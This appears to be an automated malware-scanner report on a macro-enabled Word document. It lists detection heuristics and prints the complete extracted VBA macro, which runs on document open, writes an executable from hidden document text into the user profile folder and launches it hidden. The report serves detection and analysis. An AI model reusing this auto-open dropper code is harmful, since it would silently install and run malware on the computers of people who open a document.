MALICIOUS
274
Risk Score
Heuristics 9
-
ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
-
VBA project inside OOXML medium 6 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Rcphu7 = Shell(Rcphu10, vbHide) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Sub Workbook_Open() -
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Sub Auto_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
Rcphu2 = Environ("USERPROFILE") -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 1716 bytes |
SHA-256: 960f15993bf6882c5d0913edeafae98542f886ac34d3a4a1d41449087451eb8b |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "NewMacros"
Sub Auto_Open()
Rcphu12
End Sub
Sub Rcphu12()
Dim Rcphu7 As Integer
Dim Rcphu1 As String
Dim Rcphu2 As String
Dim Rcphu3 As Integer
Dim Rcphu4 As Paragraph
Dim Rcphu8 As Integer
Dim Rcphu9 As Boolean
Dim Rcphu5 As Integer
Dim Rcphu11 As String
Dim Rcphu6 As Byte
Dim Sxmzhrjkhu As String
Sxmzhrjkhu = "Sxmzhrjkhu"
Rcphu1 = "NVrPRimzkvee.exe"
Rcphu2 = Environ("USERPROFILE")
ChDrive (Rcphu2)
ChDir (Rcphu2)
Rcphu3 = FreeFile()
Open Rcphu1 For Binary As Rcphu3
For Each Rcphu4 In ActiveDocument.Paragraphs
DoEvents
Rcphu11 = Rcphu4.Range.Text
If (Rcphu9 = True) Then
Rcphu8 = 1
While (Rcphu8 < Len(Rcphu11))
Rcphu6 = Mid(Rcphu11, Rcphu8, 4)
Put #Rcphu3, , Rcphu6
Rcphu8 = Rcphu8 + 4
Wend
ElseIf (InStr(1, Rcphu11, Sxmzhrjkhu) > 0 And Len(Rcphu11) > 0) Then
Rcphu9 = True
End If
Next
Close #Rcphu3
Rcphu13 (Rcphu1)
End Sub
Sub Rcphu13(Rcphu10 As String)
Dim Rcphu7 As Integer
Dim Rcphu2 As String
Rcphu2 = Environ("USERPROFILE")
ChDrive (Rcphu2)
ChDir (Rcphu2)
Rcphu7 = Shell(Rcphu10, vbHide)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 11776 bytes |
SHA-256: 96a51d4bd393e156a04a237bb1e83fe2bb330ac91d8019ac237d2d4862d603df |
|||
|
Detection
ClamAV:
Doc.Downloader.Generic-6698421-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.